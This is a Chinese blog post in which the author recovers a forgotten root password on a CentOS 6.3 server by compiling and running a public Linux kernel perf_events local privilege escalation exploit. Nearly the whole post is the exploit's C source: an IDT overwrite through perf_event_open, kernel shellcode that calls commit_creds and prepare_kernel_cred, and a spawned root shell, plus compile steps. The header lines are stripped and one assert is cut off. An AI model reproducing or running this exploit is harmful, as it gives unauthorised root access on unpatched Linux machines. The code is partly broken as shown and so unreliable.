linux内核溢出利用,利用Linux内核本地漏洞解决root密码忘记

回家期间,同事说有台服务器的root密码不对了,无法通过su - root切换到root,问我如何解决。

服务器环境:CentOS 6.3 x86_64 定制版

默认登录:服务器添加了普通用户master用于remote ssh login,默认root是禁止直接remote ssh login的,只能通过master登录后,通过su来切换

编译环境:gcc 4.4.6

在网上查看了下Linux的本地溢出漏洞,恰好找到一个“Linux kernel perf_events local root exploit”

之后将这个漏洞的溢出代码进行了编译,执行后,顺利获得了root权限,使用passwd root重置了密码,解决了此次的小故障

附上,溢出代码

vi perf_exp.c 将代码插入,然后执行gcc -o perf_exp perf_exp.c -O2就会生成溢出程序perf_exp,执行后即可得到root的shell

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define KALLSYMS_NAME "/boot/System.map-2.6.32-279.el6.x86_64"

#define BASE 0x380000000

#define SIZE 0x010000000

#define KSIZE 0x2000000

#define USER_CS 0x33

#define USER_SS 0x2b

#define USER_FL 0x246

#define STACK(x) (x + sizeof(x))

typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;

_prepare_kernel_cred prepare_kernel_cred;

void exit_user_code(void);

char user_stack[1024 * 1024];

uint64_t *orig_idt_handler;

unsigned char kern_sc[] = "\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3";

struct idtr {

uint16_t limit;

uint64_t addr;

}__attribute__((packed));

void exit_user_code(void)

{

if (getuid() != 0) {

printf("[-] exploit failed.\n");

exit(-1);

}

printf("[+] Got root shell!\n");

execl("/bin/bash", "sh", "-i", NULL);

}

void kernel_shellcode(void)

{

asm volatile("swapgs\n\t"

"movq orig_idt_handler, %rsi\n\t"

"movq $-1, (%rsi)\n\t"

"movq $0, %rdi\n\t"

"movq $prepare_kernel_cred, %rsi\n\t"

"movq (%rsi), %rsi\n\t"

"callq *%rsi\n\t"

"movq %rax, %rdi\n\t"

"movq $commit_creds, %rsi\n\t"

"movq (%rsi), %rsi\n\t"

"callq *%rsi\n\t"

"movq $0x2b, 0x20(%rsp)\n\t"

"movq $user_stack, %rbx\n\t"

"addq $0x100000, %rbx\n\t"

"movq %rbx, 0x18(%rsp)\n\t"

"movq $0x246, 0x10(%rsp)\n\t"

"movq $0x33, 0x08(%rsp)\n\t"

"movq $exit_user_code, %rbx\n\t"

"movq %rbx, 0x00(%rsp)\n\t"

"swapgs\n\t"

"iretq");

}

int perf_event_open(uint32_t offset)

{

struct perf_event_attr p_attr;

int fd;

memset(&p_attr, 0, sizeof(struct perf_event_attr));

p_attr.type = PERF_TYPE_SOFTWARE;

p_attr.size = sizeof(struct perf_event_attr);

p_attr.config = offset;

p_attr.mmap = 1;

p_attr.freq = 1;

fd = syscall(__NR_perf_event_open, &p_attr, 0, -1, -1, 0);

if (fd == -1) {

perror("perf_event_open");

return -1;

}

if (close(fd) == -1) {

perror("close");

return -1;

}

return 0;

}

unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)

{

FILE *s_fp;

char buff[200];

char *p = NULL, *p1 = NULL;

unsigned long addr = 0;

s_fp = fopen(file_name, "r");

if (s_fp == NULL) {

printf("open %s failed.\n", file_name);

return 0;

}

while (fgets(buff, 200, s_fp) != NULL) {

if (strstr(buff, symbol_name) != NULL) {

buff[strlen(buff) - 1] = '\0';

p = strchr(strchr(buff, ' ') + 1, ' ');

++p;

if (!p)

return 0;

if (!strcmp(p, symbol_name)) {

p1 = strchr(buff, ' ');

*p1 = '\0';

sscanf(buff, "%lx", &addr);

break;

}

}

}

fclose(s_fp);

return addr;

}

int perf_symbol_init(void)

{

struct utsname os_ver;

char system_map[128];

if (uname(&os_ver) == -1) {

perror("uname");

return -1;

}

printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine);

snprintf(system_map, sizeof(system_map),

"/boot/System.map-%s", os_ver.release);

printf("[+] looking for symbols...\n");

commit_creds = (_commit_creds)find_symbol_by_proc(system_map, "commit_creds");

if (!commit_creds) {

printf("[-] not found commit_creds addr.\n");

return -1;

}

printf("[+] found commit_creds addr: %p\n", commit_creds);

prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map,

"prepare_kernel_cred");

if (!prepare_kernel_cred) {

printf("[-] not found prepare_kernel_cred addr.\n");

return -1;

}

printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);

}

void exploit_banner(void)

{

printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n"

"by wzt 2013\thttps://www.cloud-sec.org\n\n");

}

int main()

{

struct idtr idt;

uint64_t kbase;

uint8_t *code;

uint32_t *map;

int i;

int idt_offset;

exploit_banner();

if (perf_symbol_init() == -1)

return -1;

map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE,

MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);

if (map != (void *)BASE) {

perror("mmap");

return -1;

}

printf("[+] mmap at %p ok.\n", (void *)map);

memset(map, 0, SIZE);

if (perf_event_open(-1) == -1)

return -1;

if (perf_event_open(-2) == -1)

return -1;

for (i = 0; i < SIZE/4; i++) {

if (map[i]) {

assert(map[i+1]);

break;

}

}

assert(i

asm ("sidt %0" : "=m"(idt));

kbase = idt.addr & 0xff000000;

code = mmap((void*)kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,

MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);

if (code != (void *)kbase) {

perror("mmap");

return -1;

}

printf("[+] mmap shellcode at %p ok.\n", (void *)code);

memset(code, 0x90, KSIZE);

code += KSIZE - 1024;

*(uint32_t *)(kern_sc + 3) = (uint32_t)&kernel_shellcode;

memcpy(code - 9, kern_sc, 9);

orig_idt_handler = (uint64_t *)(idt.addr + 0x48);

printf("[+] int4 idt handler addr: %lx\n", orig_idt_handler);

idt_offset = -i + (((idt.addr & 0xffffffff) - 0x80000000) / 4) + 16;

printf("[+] trigger offset: %d\n", idt_offset);

if (perf_event_open(idt_offset) == -1)

return -1;

printf("[+] trigger int4 ...\n");

asm("int $0x4");

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值